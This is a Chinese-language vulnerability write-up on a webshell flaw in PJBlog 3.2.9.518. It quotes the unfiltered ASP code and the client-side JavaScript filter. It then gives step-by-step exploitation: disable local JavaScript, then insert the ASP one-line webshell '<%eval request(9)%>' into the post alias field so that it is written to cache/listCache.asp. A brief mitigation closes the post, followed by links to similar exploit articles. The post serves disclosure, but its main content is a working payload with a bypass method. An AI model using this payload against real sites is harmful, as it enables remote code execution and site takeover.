当前位置: 首页 > news >正文

PJBlog 3.2.9.518 getwebshell 漏洞

作者:不走的钟
版本:PJblog 3.2.9.518(2012/5/9日时为最新版本)

漏洞利用条件:

1、使用全静态模式(默认情况是全静态模式)

2、用户可以发帖(默认普通用户不能发帖,所以有点鸡肋)

漏洞描述:PJblog 3.2.9.518使用js过滤特殊字符,在使用全静态模式下,普通用户发帖即可插入asp一句话木马。

PJblog 3.2.9.518的安全还是非常不错,密码采用了sha1(pass+salt)方式,salt为6位,在这样的情况下,对注入还是非常有效,即使拿到密码也很难破解。

class/cls_logAction.asp部分代码如下:

<%
Class logArticle
………………省略………………
outIndex = outIndex & “[""A"";"&AListC&";("&clearT(AList)&")] ” & Chr(13)
outIndex = outIndex & “[""G"";"&GListC&";("&clearT(GList)&")] ” & Chr(13)
Dim CateKeys, CateItems, CateHKeys, CateHItems
CateKeys = CateDic.Keys
CateItems = CateDic.Items
CateHKeys = CateHDic.Keys
CateHItems = CateHDic.Items
For i = 0 To CateDic.Count -1
outIndex = outIndex & “["""&CateKeys(i)&""";"&CateHItems(i)&";("&clearT(CateItems(i))&")] ” & Chr(13)
Next

SaveList = SaveToFile(outIndex, “cache/listCache.asp”)

%>

SaveToFile函数是将outIndex内容写入到cache/listCache.asp中。

blogpost.asp中调用了 logArticle,部分代码如下:

<%
……………………
Set lArticle = New logArticle
lArticle.categoryID = request.Form(“log_CateID”)
lArticle.logTitle = request.Form(“title”)
lArticle.logAuthor = memName
lArticle.logEditType = request.Form(“log_editType”)
lArticle.logIntroCustom = request.Form(“log_IntroC”)
lArticle.logIntro = request.Form(“log_Intro”)
lArticle.logWeather = request.Form(“log_weather”)
lArticle.logLevel = request.Form(“log_Level”)
lArticle.logCommentOrder = request.Form(“log_comorder”)
lArticle.logDisableComment = request.Form(“log_DisComment”)
lArticle.logIsShow = IsShow
lArticle.logIsTop = request.Form(“log_IsTop”)
lArticle.logIsDraft = request.Form(“log_IsDraft”)
lArticle.logFrom = request.Form(“log_From”)
lArticle.logFromURL = request.Form(“log_FromURL”)
lArticle.logDisableImage = request.Form(“log_disImg”)
lArticle.logDisableSmile = request.Form(“log_DisSM”)
lArticle.logDisableURL = request.Form(“log_DisURL”)
lArticle.logDisableKeyWord = request.Form(“log_DisKey”)
lArticle.logMessage = request.Form(“Message”)
lArticle.logTrackback = request.Form(“log_Quote”)
lArticle.logTags = request.Form(“tags”)
lArticle.logPubTime = request.Form(“PubTime”)
lArticle.logPublishTimeType = request.Form(“PubTimeType”)
If blog_postFile = 2 Then
lArticle.logCname = request.Form(“cname”)
lArticle.logCtype = request.Form(“ctype”)
End If
lArticle.logReadpw = pws
lArticle.logPwtips = pwtips
lArticle.logPwtitle = pwtitle
lArticle.logPwcomm = pwcomm
lArticle.logMeta = request.Form(“log_Meta”)
lArticle.logKeyWords = keyword
lArticle.logDescription = B_description
if request.form(“FirstPost”) = 1 then
lArticle.isajax = false
lArticle.logIsDraft = false
postLog = lArticle.editLog(request.Form(“postbackId”))
else
lArticle.isajax = false
postLog = lArticle.postLog
end if
Set lArticle = Nothing
%>

lArticle.logCname = request.Form(“cname”),并没有过滤”<%” 和”%>”

漏洞利用方法:

1、用户登陆,发表文章,如下图:

2、禁止本地js,必须要使用这步,否则你无法输入’<’和’>’,因为作者已经考虑到安全问题,调用common.js本地过滤,
common/common.js 部份内容如下:
1
//创建文件夹规则 example:
2
//<input οnblur=”ReplaceInput(this,window.event)” οnkeyup=”ReplaceInput(this,window.event)” />
3
function ReplaceInput(obj, cevent){
4
var str = ["<", ">", "/", "\\", ":", "*", "?", "|", "\"", /[\u4E00-\u9FA5]/g];
5
if(cevent.keyCode != 37 && cevent.keyCode != 39){
6
//obj.value = obj.value.replace(/[\u4E00-\u9FA5]/g,”);
7
for (var i = 0 ; i < str.length ; i++){
8
obj.value = obj.value.replace(str[i], “”);
9
}
10
}
11
}
3、在别名处插入<%eval request(9)%>,提交后,即可在cache/listCache.asp中会写入一句话木马,密码为9
临时解决方案,禁止普通用户发帖,

相关文章:

  • php5.4.3的远程代码执行漏洞,提权挺管用
  • DNS缓存中毒攻击与防护
  • Typecho导航栏上显示分类目录
  • 1分钟内保护你的Linux服务器—Server Shield v1.0.2
  • linux小技巧——添加永久生效的路由
  • nginx设置emlog伪静态
  • 让百度快速收录文章的方法
  • 解决emlog在nginx下伪静态不能使用问题
  • dedecms 5.7 一句话后门利用 exp
  • 服务器安全加固BAT
  • shopex前台普通用户getshell最新漏洞
  • 一次被黑经历与一些反思
  • dedecms5.7最新sql注射漏洞利用 guestbook.php
  • IIS7/IIS7.5中目录执行权限的设置方法
  • Linux渗透技巧+实战
  • 【翻译】babel对TC39装饰器草案的实现
  • android 一些 utils
  • ES6核心特性
  • Flex布局到底解决了什么问题
  • golang中接口赋值与方法集
  • MD5加密原理解析及OC版原理实现
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 阿里云容器服务区块链解决方案全新升级 支持Hyperledger Fabric v1.1
  • 普通函数和构造函数的区别
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 腾讯视频格式如何转换成mp4 将下载的qlv文件转换成mp4的方法
  • [Shell 脚本] 备份网站文件至OSS服务(纯shell脚本无sdk) ...
  • 400多位云计算专家和开发者,加入了同一个组织 ...
  • ​Base64转换成图片,android studio build乱码,找不到okio.ByteString接腾讯人脸识别
  • !!java web学习笔记(一到五)
  • # C++之functional库用法整理
  • $ git push -u origin master 推送到远程库出错
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (简单有案例)前端实现主题切换、动态换肤的两种简单方式
  • (七)Java对象在Hibernate持久化层的状态
  • (一)插入排序
  • (转)关于多人操作数据的处理策略
  • . Flume面试题
  • .mysql secret在哪_MYSQL基本操作(上)
  • .NET 使用配置文件
  • /ThinkPHP/Library/Think/Storage/Driver/File.class.php  LINE: 48
  • @Autowired和@Resource的区别
  • @DependsOn:解析 Spring 中的依赖关系之艺术
  • @拔赤:Web前端开发十日谈
  • [ 隧道技术 ] 反弹shell的集中常见方式(二)bash反弹shell
  • [Android]使用Retrofit进行网络请求
  • [ASP]青辰网络考试管理系统NES X3.5
  • [C puzzle book] types
  • [C# 基础知识系列]专题十六:Linq介绍
  • [C++]类和对象(中)
  • [CareerCup] 2.1 Remove Duplicates from Unsorted List 移除无序链表中的重复项
  • [DevEpxress]GridControl 显示Gif动画
  • [DNS网络] 网页无法打开、显示不全、加载卡顿缓慢 | 解决方案
  • [Hive] INSERT OVERWRITE DIRECTORY要注意的问题
  • [INSTALL_FAILED_TEST_ONLY],Android开发出现应用未安装